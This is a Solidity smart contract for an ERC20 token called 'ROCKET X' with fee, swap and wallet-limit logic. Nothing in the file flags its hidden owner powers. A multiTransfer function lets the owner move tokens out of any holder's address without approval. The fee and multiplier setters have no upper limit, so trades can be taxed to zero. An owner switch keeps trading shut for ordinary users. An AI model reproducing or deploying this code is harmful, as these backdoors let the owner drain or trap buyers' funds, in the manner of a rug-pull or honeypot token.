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pragma solidity ^0.8.12;
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b > 0, errorMessage);
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uint256 c = a / b;
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return c;
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}
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}
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interface ERC20 {
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function totalSupply() external view returns (uint256);
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function decimals() external view returns (uint8);
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function symbol() external view returns (string memory);
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function name() external view returns (string memory);
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function getOwner() external view returns (address);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address _owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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abstract contract Auth {
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address internal owner;
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mapping (address => bool) internal authorizations;
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constructor(address _owner) {
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owner = _owner;
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authorizations[_owner] = true;
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}
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modifier onlyOwner() {
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require(isOwner(msg.sender), "!OWNER"); _;
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}
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modifier authorized() {
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require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
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}
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function authorize(address adr) public onlyOwner {
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authorizations[adr] = true;
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}
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function unauthorize(address adr) public onlyOwner {
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require(adr != owner, "OWNER cant be unauthorized");
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authorizations[adr] = false;
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}
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function isOwner(address account) public view returns (bool) {
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return account == owner;
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}
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function isAuthorized(address adr) public view returns (bool) {
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return authorizations[adr];
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}
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function transferOwnership(address payable adr) public onlyOwner {
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require(adr != owner, "Already the owner");
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authorizations[owner] = false;
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owner = adr;
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authorizations[adr] = true;
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emit OwnershipTransferred(adr);
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}
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event OwnershipTransferred(address owner);
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}
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interface IDEXFactory {
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function createPair(address tokenA, address tokenB) external returns (address pair);
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}
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interface IDEXRouter {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidityETH(
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address token,
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uint amountTokenDesired,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external payable returns (uint amountToken, uint amountETH, uint liquidity);
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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}
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contract ROCKETX is ERC20, Auth {
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using SafeMath for uint256;
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address WETH;
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address DEAD = 0x000000000000000000000000000000000000dEaD;
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address ZERO = 0x0000000000000000000000000000000000000000;
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string constant _name = "ROCKET X";
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string constant _symbol = "RX";
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uint8 constant _decimals = 4;
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uint256 _totalSupply = 1 * 10**15 * 10**_decimals;
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uint256 public _maxTxAmount = _totalSupply / 100;
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uint256 public _maxWalletToken = (_totalSupply * 3) / 100;
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mapping (address => uint256) _balances;
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mapping (address => mapping (address => uint256)) _allowances;
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mapping (address => bool) isFeeExempt;
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mapping (address => bool) isTxLimitExempt;
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mapping (address => bool) isWalletLimitExempt;
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uint256 public liquidityFee = 10;
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uint256 public marketingFee = 50;
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uint256 public devFee = 10;
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uint256 public teamFee = 10;
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uint256 public totalFee = marketingFee + liquidityFee + devFee + teamFee;
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uint256 public constant feeDenominator = 1000;
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uint256 sellMultiplier = 80;
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uint256 buyMultiplier = 80;
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uint256 transferMultiplier = 80;
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address public autoLiquidityReceiver;
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address public marketingFeeReceiver;
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address public devFeeReceiver;
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address public teamFeeReceiver;
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IDEXRouter public router;
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address public pair;
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bool public tradingOpen = false;
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bool public swapEnabled = true;
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uint256 public swapThreshold = _totalSupply / 1000;
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bool inSwap;
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modifier swapping() { inSwap = true; _; inSwap = false; }
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constructor () Auth(msg.sender) {
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router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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WETH = router.WETH();
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pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
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_allowances[address(this)][address(router)] = type(uint256).max;
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autoLiquidityReceiver = msg.sender;
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marketingFeeReceiver = 0x505a99759e3fe2306092e47c735e01887b960adb;
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teamFeeReceiver = 0x505a99759e3fe2306092e47c735e01887b960adb;
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devFeeReceiver = msg.sender;
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isFeeExempt[msg.sender] = true;
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isTxLimitExempt[msg.sender] = true;
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isTxLimitExempt[DEAD] = true;
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isTxLimitExempt[ZERO] = true;
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isWalletLimitExempt[msg.sender] = true;
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isWalletLimitExempt[address(this)] = true;
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isWalletLimitExempt[DEAD] = true;
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_balances[msg.sender] = _totalSupply;
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emit Transfer(address(0), msg.sender, _totalSupply);
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}
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receive() external payable { }
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function totalSupply() external view override returns (uint256) { return _totalSupply; }
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function decimals() external pure override returns (uint8) { return _decimals; }
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function symbol() external pure override returns (string memory) { return _symbol; }
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function name() external pure override returns (string memory) { return _name; }
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function getOwner() external view override returns (address) { return owner; }
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function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
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function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
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function approve(address spender, uint256 amount) public override returns (bool) {
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_allowances[msg.sender][spender] = amount;
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emit Approval(msg.sender, spender, amount);
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return true;
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}
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function approveMax(address spender) external returns (bool) {
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return approve(spender, type(uint256).max);
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}
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function transfer(address recipient, uint256 amount) external override returns (bool) {
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return _transferFrom(msg.sender, recipient, amount);
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}
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function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
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if(_allowances[sender][msg.sender] != type(uint256).max){
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_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
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}
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return _transferFrom(sender, recipient, amount);
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}
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function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
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_maxWalletToken = (_totalSupply * maxWallPercent_base1000 ) / 1000;
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}
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function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner {
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_maxTxAmount = (_totalSupply * maxTXPercentage_base1000 ) / 1000;
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}
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function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
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if(inSwap){ return _basicTransfer(sender, recipient, amount); }
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if(!authorizations[sender] && !authorizations[recipient]){
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require(tradingOpen,"Trading not open yet");
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}
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if (!authorizations[sender] && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
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require((balanceOf(recipient) + amount) <= _maxWalletToken,"max wallet limit reached");
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}
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require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "TX Limit Exceeded");
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if(shouldSwapBack()){ swapBack(); }
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_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
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uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);
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_balances[recipient] = _balances[recipient].add(amountReceived);
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emit Transfer(sender, recipient, amountReceived);
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return true;
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}
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function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
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_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
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_balances[recipient] = _balances[recipient].add(amount);
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emit Transfer(sender, recipient, amount);
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return true;
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}
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function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
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if(totalFee == 0 ){
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return amount;
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}
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uint256 multiplier = transferMultiplier;
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if(recipient == pair) {
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multiplier = sellMultiplier;
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} else if(sender == pair) {
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multiplier = buyMultiplier;
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}
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uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
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_balances[address(this)] = _balances[address(this)].add(feeAmount);
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emit Transfer(sender, address(this), feeAmount);
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return amount.sub(feeAmount);
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}
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function shouldSwapBack() internal view returns (bool) {
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return msg.sender != pair
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&& !inSwap
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&& swapEnabled
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&& _balances[address(this)] >= swapThreshold;
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}
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function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
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uint256 amountETH = address(this).balance;
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payable(msg.sender).transfer(amountETH * amountPercentage / 100);
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}
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function clearContractSells(uint256 amountPercentage) external onlyOwner {
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uint256 tokensInContract = balanceOf(address(this));
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uint256 tokenstosell = tokensInContract.mul(amountPercentage).div(100);
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_basicTransfer(address(this),msg.sender,tokenstosell);
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}
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function openTrading() external onlyOwner {
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tradingOpen = true;
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}
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function swapBack() internal swapping {
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uint256 dynamicLiquidityFee = liquidityFee;
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uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
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uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
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address[] memory path = new address[](2);
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path[0] = address(this);
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path[1] = WETH;
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router.swapExactTokensForETHSupportingFeeOnTransferTokens(
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amountToSwap,
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0,
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path,
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address(this),
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block.timestamp
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);
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uint256 amountETH = address(this).balance;
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uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));
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uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
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uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
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uint256 amountETHDev = amountETH.mul(devFee).div(totalETHFee);
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uint256 amountETHTeam = amountETH.mul(teamFee).div(totalETHFee);
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payable(marketingFeeReceiver).transfer(amountETHMarketing);
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payable(devFeeReceiver).transfer(amountETHDev);
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payable(teamFeeReceiver).transfer(amountETHTeam);
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if(amountToLiquify > 0){
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router.addLiquidityETH{value: amountETHLiquidity}(
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address(this),
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amountToLiquify,
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0,
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0,
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autoLiquidityReceiver,
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block.timestamp
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);
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emit AutoLiquify(amountETHLiquidity, amountToLiquify);
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}
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}
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function manage_FeeExempt(address[] calldata addresses, bool status) external authorized {
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require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
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for (uint256 i; i < addresses.length; ++i) {
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isFeeExempt[addresses[i]] = status;
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}
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}
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function manage_TxLimitExempt(address[] calldata addresses, bool status) external authorized {
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require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
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for (uint256 i; i < addresses.length; ++i) {
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isTxLimitExempt[addresses[i]] = status;
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}
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}
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function manage_WalletLimitExempt(address[] calldata addresses, bool status) external authorized {
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require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
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for (uint256 i; i < addresses.length; ++i) {
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isWalletLimitExempt[addresses[i]] = status;
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}
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}
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function setFees_base1000(uint256 _liquidityFee, uint256 _marketingFee, uint256 _devFee, uint256 _teamfee) external onlyOwner {
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liquidityFee = _liquidityFee;
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marketingFee = _marketingFee;
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devFee = _devFee;
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teamFee = _teamfee;
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totalFee = _liquidityFee + _marketingFee + _devFee + _teamfee;
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}
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function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external authorized {
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sellMultiplier = _sell;
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buyMultiplier = _buy;
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transferMultiplier = _trans;
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}
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function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _devFeeReceiver, address _teamfeeReceiver) external onlyOwner {
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autoLiquidityReceiver = _autoLiquidityReceiver;
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marketingFeeReceiver = _marketingFeeReceiver;
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devFeeReceiver = _devFeeReceiver;
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teamFeeReceiver = _teamfeeReceiver;
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}
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function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
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swapEnabled = _enabled;
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swapThreshold = _amount;
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}
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function getCirculatingSupply() public view returns (uint256) {
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return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
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}
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function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
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require(addresses.length == tokens.length,"Mismatch between Address and token count");
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uint256 SCCC = 0;
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for(uint i=0; i < addresses.length; i++){
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SCCC = SCCC + tokens[i];
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}
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require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");
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for(uint i=0; i < addresses.length; i++){
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_basicTransfer(from,addresses[i],tokens[i]);
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}
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}
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event AutoLiquify(uint256 amountETH, uint256 amountTokens);
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} |
